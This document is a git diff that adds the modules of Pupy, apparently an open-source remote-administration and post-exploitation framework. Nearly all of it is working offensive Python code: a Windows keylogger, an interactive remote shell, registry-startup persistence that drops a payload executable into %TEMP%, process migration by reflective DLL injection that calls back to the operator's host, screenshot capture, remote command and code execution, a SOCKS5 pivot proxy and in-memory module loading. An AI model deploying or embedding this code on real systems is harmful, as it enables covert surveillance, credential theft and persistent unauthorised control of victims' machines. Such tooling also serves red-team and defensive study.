b/pupy/modules/interactive_shell.py @@ -0,0 +1,24 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +from pupylib.utils import redirected_stdio + +__class_name__="InteractiveShell" + + +class InteractiveShell(PupyModule): + """ open an interactive command shell """ + max_clients=1 + def init_argparse(self): + self.arg_parser = PupyArgumentParser(description=self.__doc__) + #self.arg_parser.add_argument('arguments', nargs='+', metavar='') + + def run(self, args): + self.client.load_package("interactive_shell") + program="/bin/sh" + encoding=None + if self.client.is_windows(): + program="cmd.exe" + encoding="cp437" + with redirected_stdio(self.client.conn): + self.client.conn.modules.interactive_shell.interactive_open(program=program, encoding=encoding) + diff --git a/pupy/modules/keylogger.py b/pupy/modules/keylogger.py new file mode 100644 index 00000000..62cb1328 --- /dev/null +++ b/pupy/modules/keylogger.py @@ -0,0 +1,52 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +import StringIO +import pupylib.utils +import SocketServer +import threading +import socket +import logging +import struct +import traceback +import time + +__class_name__="KeyloggerModule" + +class KeyloggerModule(PupyModule): + """ a simple keylogger :-) """ + #max_clients=1 + daemon=True + unique_instance=True + keylogger=None + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='keylogger', description=self.__doc__) + self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump']) + + @windows_only + def is_compatible(self): + pass + + def stop_daemon(self): + self.success("keylogger stopped") + + def run(self, args): + if args.action=="start": + if self.keylogger: + self.error("the keylogger is already started") + else: + self.client.load_package("pupwinutils.keylogger") + self.keylogger=self.client.conn.modules["pupwinutils.keylogger"].KeyLogger() + self.keylogger.start() + else: + if not self.keylogger: + self.error("the keylogger is not running") + return + if args.action=="dump": + self.success("dumping recorded keystrokes :") + self.log(self.keylogger.dump()) + elif args.action=="stop": + self.keylogger.stop() + self.job.stop() + + + diff --git a/pupy/modules/migrate.py b/pupy/modules/migrate.py new file mode 100644 index 00000000..14cb3f25 --- /dev/null +++ b/pupy/modules/migrate.py @@ -0,0 +1,62 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +import genpayload +import os.path +import time + +__class_name__="MigrateModule" + + +def has_proc_migrated(client, pid): + for c in client.pupsrv.clients: + if all([True for x in c.desc if x in ["hostname", "platform", "release", "version", "macaddr"] and client.desc[x]==c.desc[x]]): + if int(c.desc["pid"])==pid: + return c + return None + +class MigrateModule(PupyModule): + """ Migrate pupy into another process using reflective DLL injection """ + max_clients=1 + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="migrate", description=self.__doc__) + self.arg_parser.add_argument('pid', type=int, help='pid') + + @windows_only + def is_compatible(self): + pass + + def run(self, args): + dllbuf=b"" + isProcess64bits=False + #TODO automatically fill ip/port + self.client.load_package("psutil") + self.client.load_package("pupwinutils.processes") + self.success("looking for configured connect back address ...") + res=self.client.conn.modules['pupy'].get_connect_back_host() + host, port=res.rsplit(':',1) + self.success("address configured is %s:%s ..."%(host,port)) + self.success("looking for process %s architecture ..."%args.pid) + if self.client.conn.modules['pupwinutils.processes'].is_process_64(args.pid): + isProcess64bits=True + self.success("process is 64 bits") + dllbuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx64.dll"), host, port) + else: + self.success("process is 32 bits") + dllbuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx86.dll"), host, port) + self.success("injecting DLL in target process %s ..."%args.pid) + self.client.conn.modules['pupy'].reflective_inject_dll(args.pid, dllbuff, isProcess64bits) + self.success("DLL injected !") + self.success("waiting for a connection from the DLL ...") + while True: + c=has_proc_migrated(self.client, args.pid) + if c: + self.success("got a connection from migrated DLL !") + c.desc["id"]=self.client.desc["id"] + break + time.sleep(0.1) + try: + self.client.conn.exit() + except Exception: + pass + + diff --git a/pupy/modules/msgbox.py b/pupy/modules/msgbox.py new file mode 100644 index 00000000..97e48885 --- /dev/null +++ b/pupy/modules/msgbox.py @@ -0,0 +1,23 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * + +__class_name__="MsgBoxPopup" + +class MsgBoxPopup(PupyModule): + """ Pop up a custom message box """ + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="msgbox", description=self.__doc__) + self.arg_parser.add_argument('--title', help='msgbox title') + self.arg_parser.add_argument('text', help='text to print in the msgbox :)') + + @windows_only + def is_compatible(self): + pass + + def run(self, args): + #self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0) + self.client.load_package("pupwinutils.msgbox") + self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title) + self.log("message box popped !") + diff --git a/pupy/modules/persistence.py b/pupy/modules/persistence.py new file mode 100644 index 00000000..65456e3e --- /dev/null +++ b/pupy/modules/persistence.py @@ -0,0 +1,55 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +import random +import genpayload +import os.path +import string + +__class_name__="PersistenceModule" + +class PersistenceModule(PupyModule): + """ Pop up a custom message box """ + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__) + self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method') + + @windows_only + def is_compatible(self): + pass + + def run(self, args): + if args.method=="registry": + self.client.load_package("pupwinutils.persistence") + + #retrieving conn info + res=self.client.conn.modules['pupy'].get_connect_back_host() + host, port=res.rsplit(':',1) + + self.info("generating exe ...") + #generating exe + exebuff=genpayload.get_edit_binary(os.path.join("payloads","pupyx86.exe"), host, port) + + remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))]))) + self.info("uploading to %s ..."%remote_path) + #uploading + rf=self.client.conn.builtin.open(remote_path, "wb") + chunk_size=16000 + pos=0 + while True: + buf=exebuff[pos:pos+chunk_size] + if not buf: + break + rf.write(buf) + pos+=chunk_size + rf.close() + self.success("upload successful") + + #adding persistency + self.info("adding to registry ...") + self.client.conn.modules['pupwinutils.persistence'].add_registry_startup(remote_path) + self.info("registry key added") + + self.success("persistence added !") + else: + self.error("not implemented") + diff --git a/pupy/modules/ps.py b/pupy/modules/ps.py new file mode 100644 index 00000000..2ef743d8 --- /dev/null +++ b/pupy/modules/ps.py @@ -0,0 +1,36 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +from pupylib.utils import obtain + +__class_name__="MsgBoxPopup" + +class MsgBoxPopup(PupyModule): + """ list processes """ + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="ps", description=self.__doc__) + self.arg_parser.add_argument('--all', '-a', action='store_true', help='more info') + + @windows_only + def is_compatible(self): + pass + + def run(self, args): + #self.client.conn.modules.ctypes.windll.user32.MessageBoxA(None, args.text, args.title, 0) + self.client.load_package("psutil") + self.client.load_package("pupwinutils.processes") + outputlist=self.client.conn.modules["pupwinutils.processes"].enum_processes() + outputlist=obtain(outputlist) #pickle the list of proxy objects with obtain is really faster + columns=['username', 'pid', 'arch', 'exe'] + if args.all: + columns=['username', 'pid', 'arch', 'name', 'exe', 'cmdline', 'status'] + for dic in outputlist: + dic["cmdline"]=' '.join(dic['cmdline'][1:]) + else: + for dic in outputlist: + if 'exe' in dic and not dic['exe'] and 'name' in dic and dic['name']: + dic['exe']=dic['name'] + if 'username' in dic and dic['username'] is None: + dic['username']="" + self.rawlog(self.formatter.table_format(outputlist, wl=columns)) + diff --git a/pupy/modules/pyexec.py b/pupy/modules/pyexec.py new file mode 100644 index 00000000..19da8460 --- /dev/null +++ b/pupy/modules/pyexec.py @@ -0,0 +1,37 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +import StringIO +import pupylib.utils + +__class_name__="PythonExec" + +class PythonExec(PupyModule): + """ execute python code on a remote system """ + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='pyexec', description=self.__doc__) + group=self.arg_parser.add_mutually_exclusive_group(required=True) + group.add_argument('--file', metavar="", help="execute code from .py file") + group.add_argument('-c','--code', metavar='', help="execute python oneliner code. ex : 'import platform;print platform.uname()'") + + def run(self, args): + code="" + if args.file: + self.info("loading code from %s ..."%args.file) + with open(args.file,'r') as f: + code=f.read() + else: + code=args.code + stdout=StringIO.StringIO() + stderr=StringIO.StringIO() + try: + with pupylib.utils.redirected_stdo(self.client.conn, stdout, stderr): + self.client.conn.execute(code+"\n") + res=stdout.getvalue() + err=stderr.getvalue() + if err.strip(): + err="\n"+err + self.rawlog(res+err) + finally: + stdout.close() + stderr.close() + diff --git a/pupy/modules/pyshell.py b/pupy/modules/pyshell.py new file mode 100644 index 00000000..7c6581c8 --- /dev/null +++ b/pupy/modules/pyshell.py @@ -0,0 +1,31 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +import sys +import subprocess +import threading +import Queue +import pupylib.utils + +import time + +__class_name__="InteractivePythonShell" + + +def enqueue_output(out, queue): + for c in iter(lambda: out.read(1), b""): + queue.put(c) + +class InteractivePythonShell(PupyModule): + """ open an interactive python shell on the remote client """ + max_clients=1 + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='pyshell', description=self.__doc__) + def run(self, args): + try: + pupylib.utils.interact(self.client.conn) + except KeyboardInterrupt: + pass + + + + diff --git a/pupy/modules/screenshot.py b/pupy/modules/screenshot.py new file mode 100644 index 00000000..fb57c73c --- /dev/null +++ b/pupy/modules/screenshot.py @@ -0,0 +1,79 @@ +# -*- coding: UTF8 -*- + +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +from pupylib.PupyModule import * +from rpyc.utils.classic import download +import os +import os.path +import textwrap +import logging +import datetime +from zlib import compress, crc32 +import struct +import subprocess + +__class_name__="Screenshoter" + +def pil_save(filename, pixels, width, height): + from PIL import Image, ImageFile + buffer_len = (width * 3 + 3) & -4 + img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1) + ImageFile.MAXBLOCK = width * height + img=img.transpose(Image.FLIP_TOP_BOTTOM) + img.save(filename, quality=95, optimize=True, progressive=True) + logging.info('Screenshot saved to %s'%filename) + + +class Screenshoter(PupyModule): + """ take a screenshot :) """ + @windows_only + def is_compatible(self): + pass + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__) + self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen') + self.arg_parser.add_argument('-s', '--screen', type=int, default=None, help='take a screenshot on a specific screen (default all screen on one screenshot)') + self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the screenshot for preview') + + def run(self, args): + try: + os.makedirs("./data/screenshots") + except Exception: + pass + self.client.load_package("pupwinutils.screenshot") + screens=None + if args.screen is None: + screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True) + else: + screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors() + if args.enum: + res="" + for i, screen in enumerate(screens): + res+="{:<3}: {}\n".format(i,screen) + return res + if args.screen is None: + args.screen=0 + selected_screen=screens[args.screen] + screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen) + filepath=os.path.join("./data/screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg") + pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"]) + if args.view: + subprocess.Popen(["eog",filepath]) + self.success("screenshot saved to %s"%filepath) + + diff --git a/pupy/modules/search.py b/pupy/modules/search.py new file mode 100644 index 00000000..16e34c18 --- /dev/null +++ b/pupy/modules/search.py @@ -0,0 +1,20 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * + +__class_name__="SearchModule" + +class SearchModule(PupyModule): + """ walk through a directory and recursively search a string into files """ + + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog="search", description=self.__doc__) + self.arg_parser.add_argument('path', help='path') + self.arg_parser.add_argument('strings', nargs='+',metavar='string', help='strings to search') + + def run(self, args): + self.client.load_package("pupyutils.search") + self.info("searching strings %s in %s ..."%(args.strings, args.path)) + for res in self.client.conn.modules['pupyutils.search'].search_path(args.path, args.strings): + self.success("%s:%s > %s"%(res[0],res[1],res[2])) + self.info("search finished !") + diff --git a/pupy/modules/shell_exec.py b/pupy/modules/shell_exec.py new file mode 100644 index 00000000..1bb0e871 --- /dev/null +++ b/pupy/modules/shell_exec.py @@ -0,0 +1,28 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +import subprocess +from rpyc.utils.helpers import restricted +__class_name__="ShellExec" + +class ShellExec(PupyModule): + """ execute shell commands on a remote system """ + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__) + self.arg_parser.add_argument('argument', nargs='+') + def run(self, args): + res="" + try: + res=self.client.conn.modules.subprocess.check_output(' '.join(args.argument), stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True, universal_newlines=True) + except Exception as e: + if hasattr(e,'output') and e.output: + res=e.output + else: + res=str(e) + + if self.client.is_windows(): + try: + res=res.decode('cp437') + except Exception: + pass + self.log(res) + diff --git a/pupy/modules/socks5proxy.py b/pupy/modules/socks5proxy.py new file mode 100644 index 00000000..ed479889 --- /dev/null +++ b/pupy/modules/socks5proxy.py @@ -0,0 +1,211 @@ +# -*- coding: UTF8 -*- + +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +#RFC @https://www.ietf.org/rfc/rfc1928.txt +from pupylib.PupyModule import * +import StringIO +import pupylib.utils +import SocketServer +import threading +import socket +import logging +import struct +import traceback +import time + +__class_name__="Socks5Proxy" + +CODE_SUCCEEDED='\x00' +CODE_GENERAL_SRV_FAILURE='\x01' +CODE_CONN_NOT_ALLOWED='\x02' +CODE_NET_NOT_REACHABLE='\x03' +CODE_HOST_UNREACHABLE='\x04' +CODE_CONN_REFUSED='\x05' +CODE_TTL_EXPIRED='\x06' +CODE_COMMAND_NOT_SUPPORTED='\x07' +CODE_ADDRESS_TYPE_NOT_SUPPORTED='\x08' +CODE_UNASSIGNED='\x09' + +class SocketPiper(threading.Thread): + def __init__(self, read_sock, write_sock): + threading.Thread.__init__(self) + self.daemon=True + self.read_sock=read_sock + self.write_sock=write_sock + def run(self): + try: + self.read_sock.setblocking(0) + while True: + data="" + try: + data+=self.read_sock.recv(1000000) + if not data: + break + except Exception as e: + if e[0]==9:#errno connection closed + break + if not data: + time.sleep(0.05) + continue + self.write_sock.sendall(data) + except Exception as e: + logging.debug("error in socket piper: %s"%str(traceback.format_exc())) + finally: + try: + self.write_sock.shutdown(socket.SHUT_RDWR) + self.write_sock.close() + except Exception: + pass + try: + self.read_sock.shutdown(socket.SHUT_RDWR) + self.read_sock.close() + except Exception: + pass + logging.debug("piper finished") + +class Socks5RequestHandler(SocketServer.BaseRequestHandler): + def _socks_response(self, code, terminate=False): + ip="".join([chr(int(i)) for i in self.server.server_address[0].split(".")]) + port=struct.pack("!H",self.server.server_address[1]) + self.request.sendall("\x05"+code+"\x00"+"\x01"+ip+port) + if terminate: + self.request.shutdown(socket.SHUT_RDWR) + self.request.close() + + + def handle(self): + self.request.settimeout(5) + VER=self.request.recv(1) + NMETHODS=self.request.recv(1) + METHODS=self.request.recv(int(struct.unpack("!B",NMETHODS)[0])) + """ + o X'00' NO AUTHENTICATION REQUIRED + o X'01' GSSAPI + o X'02' USERNAME/PASSWORD + o X'03' to X'7F' IANA ASSIGNED + o X'80' to X'FE' RESERVED FOR PRIVATE METHODS + o X'FF' NO ACCEPTABLE METHODS + """ + #for now only no authentication is supported : + self.request.sendall("\x05\x00") + VER=self.request.recv(1) + if VER!="\x05": + logging.debug("receiving unsuported socks version: %s"%VER.encode('hex')) + self._socks_response(CODE_GENERAL_SRV_FAILURE, terminate=True) + return + + CMD=self.request.recv(1) + if CMD!="\x01": # we only support CONNECT for now + logging.debug("receiving unsuported socks CMD: %s"%CMD.encode('hex')) + self._socks_response(CODE_COMMAND_NOT_SUPPORTED, terminate=True) + return + + RSV=self.request.recv(1) + + DST_ADDR=None + DST_PORT=None + ATYP=self.request.recv(1) + if ATYP=="\x01": + DST_ADDR=".".join([str(ord(x)) for x in self.request.recv(4)]) + DST_PORT=struct.unpack("!H",self.request.recv(2))[0] + elif ATYP=="\x03": + DOMAIN_LEN=int(struct.unpack("!B",self.request.recv(1))[0]) + DST_ADDR=self.request.recv(DOMAIN_LEN) + DST_PORT=struct.unpack("!H",self.request.recv(2))[0] + else: #TODO: ipv6 + logging.debug("atyp not supported: %s"%ATYP.encode('hex')) + self._socks_response(CODE_ADDRESS_TYPE_NOT_SUPPORTED, terminate=True) + return + + #now we have all we need, we can open the socket proxyfied through rpyc :) + logging.debug("connecting to %s:%s through the rpyc client"%(DST_ADDR,DST_PORT)) + rsocket_mod=self.server.rpyc_client.conn.modules.socket + rsocket=rsocket_mod.socket(rsocket_mod.AF_INET,rsocket_mod.SOCK_STREAM) + rsocket.settimeout(5) + try: + rsocket.connect((DST_ADDR, DST_PORT)) + except Exception as e: + logging.debug("error: %s"%e) + if e[0]==10060: + logging.debug("unreachable !") + + self._socks_response(CODE_HOST_UNREACHABLE, terminate=True) + else: + self._socks_response(CODE_NET_NOT_REACHABLE, terminate=True) + return + self._socks_response(CODE_SUCCEEDED) + logging.debug("connection succeeded !") + + #self.request.settimeout(30) + #rsocket.settimeout(30) + + sp1=SocketPiper(self.request, rsocket) + sp2=SocketPiper(rsocket, self.request) + sp1.start() + sp2.start() + sp1.join() + sp2.join() + logging.debug("conn to %s:%s closed"%(DST_ADDR,DST_PORT)) + +class Socks5Server(SocketServer.TCPServer): + allow_reuse_address = True + def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None): + self.rpyc_client=rpyc_client + SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate) + +class ThreadedSocks5Server(SocketServer.ThreadingMixIn, Socks5Server): + pass + +class Socks5Proxy(PupyModule): + """ start a socks5 proxy gooing through a client """ + max_clients=1 + unique_instance=True + daemon=True + server=None + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='socks5proxy', description=self.__doc__) + self.arg_parser.add_argument('-p', '--port', default='1080') + self.arg_parser.add_argument('action', choices=['start','stop']) + + def stop_daemon(self): + self.success("shuting down socks server ...") + if self.server: + self.server.shutdown() + del self.server + self.success("socks server shut down") + else: + self.error("server is None") + + def run(self, args): + if args.action=="start": + if self.server is None: + self.success("starting server ...") + self.server = ThreadedSocks5Server(("127.0.0.1", int(args.port)), Socks5RequestHandler, rpyc_client=self.client) + t=threading.Thread(target=self.server.serve_forever) + t.daemon=True + t.start() + self.success("socks5 server started on 127.0.0.1:%s"%args.port) + else: + self.error("socks5 server is already started !") + elif args.action=="stop": + if self.server: + self.job.stop() + del self.job + self.success("socks5 server stopped !") + else: + self.error("socks5 server is already stopped") + diff --git a/pupy/modules/upload.py b/pupy/modules/upload.py new file mode 100644 index 00000000..67c6de66 --- /dev/null +++ b/pupy/modules/upload.py @@ -0,0 +1,18 @@ +# -*- coding: UTF8 -*- +from pupylib.PupyModule import * +from rpyc.utils.classic import upload +import os +import os.path + +__class_name__="UploaderScript" + +class UploaderScript(PupyModule): + """ upload a file/directory to a remote system """ + def init_argparse(self): + self.arg_parser = PupyArgumentParser(prog='download', description=self.__doc__) + self.arg_parser.add_argument('local_file', metavar='') + self.arg_parser.add_argument('remote_file', metavar='') + def run(self, args): + upload(self.client.conn, args.local_file, args.remote_file) + self.success("file local:%s uploaded to remote:%s"%(args.local_file, args.remote_file)) + diff --git a/pupy/packages/all/interactive_shell.py b/pupy/packages/all/interactive_shell.py new file mode 100644 index 00000000..82c4cf79 --- /dev/null +++ b/pupy/packages/all/interactive_shell.py @@ -0,0 +1,76 @@ +# -*- coding: UTF8 -*- + +import sys +from subprocess import PIPE, Popen +from threading import Thread +from Queue import Queue, Empty +import time +import traceback + +ON_POSIX = 'posix' in sys.builtin_module_names + +def write_output(out, queue): + try: + for c in iter(lambda: out.read(1), b""): + queue.put(c) + out.close() + except Exception as e: + print(traceback.format_exc()) + +def flush_loop(queue, encoding): + try: + while True: + buf=b"" + while True: + try: + buf+=queue.get_nowait() + except Empty: + break + if buf: + if encoding: + try: + buf=buf.decode(encoding) + except Exception: + pass + sys.stdout.write(buf) + sys.stdout.flush() + time.sleep(0.5) + except Exception as e: + print(traceback.format_exc()) + +def interactive_open(program=None, encoding=None): + try: + if program is None: + if "win" in sys.platform.lower(): + program="cmd.exe" + encoding="cp437" + else: + program="/bin/sh" + encoding=None + print "Opening interactive %s ... (encoding : %s)"%(program,encoding) + p = Popen([program], stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, close_fds=ON_POSIX, universal_newlines=True) + q = Queue() + q2 = Queue() + t = Thread(target=write_output, args=(p.stdout, q)) + t.daemon = True + t.start() + + t = Thread(target=write_output, args=(p.stderr, q2)) + t.daemon = True + t.start() + + t = Thread(target=flush_loop, args=(q, encoding)) + t.daemon = True + t.start() + + t = Thread(target=flush_loop, args=(q2, encoding)) + t.daemon = True + t.start() + + while True: + line = raw_input() + p.stdin.write(line+"\n") + if line.strip()=="exit": + break + except Exception as e: + print(traceback.format_exc()) diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py new file mode 100644 index 00000000..265ecf53 --- /dev/null +++ b/pupy/packages/all/pupyimporter.py @@ -0,0 +1,164 @@ +# --------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# --------------------------------------------------------------- +# This module uses the builtins modules pupy and _memimporter to load python modules and packages from memory, including .pyd files (windows only) +# Pupy can dynamically add new modules to the modules dictionary to allow remote importing of python modules from memory ! +# +import sys, imp, zlib, marshal +builtin_memimporter=False +try: + import _memimporter + builtin_memimporter=True +except ImportError: + pass + +modules={} +try: + import pupy + modules = marshal.loads(zlib.decompress(pupy._get_compressed_library_string())) +except ImportError: + #modules = marshal.loads(zlib.decompress(open("resources\\library_compressed_string.txt",'rb').read())) + pass + +def get_module_files(fullname): + """ return the file to load """ + f=fullname.replace(".","/") + files=[] + for x in modules.iterkeys(): + if x.rsplit(".",1)[0]==f or f+"/__init__.py"==x or f+"/__init__.pyc"==x: + files.append(x) + return files + +def pupy_add_package(pkdic): + """ update the modules dictionary to allow remote imports of new packages """ + import cPickle + global modules + modules.update(cPickle.loads(pkdic)) + +class PupyPackageLoader: + def __init__(self, fullname, contents, extension, is_pkg, path): + self.fullname = fullname + self.contents = contents + self.extension = extension + self.is_pkg=is_pkg + self.path=path + #self.archive="" + + def load_module(self, fullname): + imp.acquire_lock() + try: + #print "loading module %s"%fullname + if fullname in sys.modules: + return sys.modules[fullname] + mod=None + c=None + if self.extension=="py": + mod = imp.new_module(fullname) + mod.__name__ = fullname + mod.__file__ = "\\%s" % self.path.replace("/","\\") + mod.__loader__ = self + if self.is_pkg: + mod.__path__ = [mod.__file__.rsplit("\\",1)[0]] + mod.__package__ = fullname + else: + mod.__package__ = fullname.rsplit('.', 1)[0] + sys.modules[fullname]=mod + code = compile(self.contents, mod.__file__, "exec") + exec self.contents in mod.__dict__ + elif self.extension in ["pyc","pyo"]: + mod = imp.new_module(fullname) + mod.__name__ = fullname + mod.__file__ = "\\%s" % self.path.replace("/","\\") + mod.__loader__ = self + if self.is_pkg: + mod.__path__ = [mod.__file__.rsplit("\\",1)[0]] + #mod.__path__ = [mod.__file__] + mod.__package__ = fullname + else: + mod.__package__ = fullname.rsplit('.', 1)[0] + sys.modules[fullname]=mod + c=marshal.loads(self.contents[8:]) + exec c in mod.__dict__ + elif self.extension in ("dll","pyd"): + initname = "init" + fullname.rsplit(".",1)[-1] + path=fullname.replace(".","/")+"."+self.extension + #print "Loading %s from memory"%fullname + #print "init:%s, %s.%s"%(initname,fullname,self.extension) + mod = _memimporter.import_module(self.contents, initname, fullname, path) + mod.__name__=fullname + mod.__file__ = "\\%s" % self.path.replace("/","\\") + mod.__loader__ = self + mod.__package__ = fullname.rsplit('.',1)[0] + sys.modules[fullname]=mod + except Exception as e: + if fullname in sys.modules: + del sys.modules[fullname] + import traceback + print "PupyPackageLoader: Error while loading package %s (%s) : %s %s"%(fullname, self.extension, str(e), c) + raise e + finally: + imp.release_lock() + mod = sys.modules[fullname] # reread the module in case it changed itself + return mod + +class PupyPackageFinder: + def __init__(self, modules): + self.modules = modules + self.modules_list=[x.rsplit(".",1)[0] for x in self.modules.iterkeys()] + + def find_module(self, fullname, path=None): + imp.acquire_lock() + try: + if fullname in ("pywintypes", "pythoncom"): + fullname = fullname + "%d%d" % sys.version_info[:2] + fullname = fullname.replace(".", "\\") + ".dll" + #print "find_module(\"%s\",\"%s\")"%(fullname,path) + files=get_module_files(fullname) + if not builtin_memimporter: + files=[f for f in files if not f.lower().endswith((".pyd",".dll"))] + if not files: + #print "%s not found in %s"%(fullname,path) + return None + selected=None + for f in files: + if f.endswith("/__init__.pyc") or f.endswith("/__init__.py"): + selected=f # we select packages in priority + if not selected: + for f in files: + if f.endswith(".pyd"): + selected=f # then we select pyd + if not selected: + for f in files: + if f.endswith(".py"): + selected=f # we select .py before .pyc + if not selected: + selected=files[0] + + #print "%s found in %s"%(fullname,selected) + content=self.modules[selected] + extension=selected.rsplit(".",1)[1].strip().lower() + is_pkg=False + if selected.endswith("/__init__.py") or selected.endswith("/__init__.pyc"): + is_pkg=True + #print 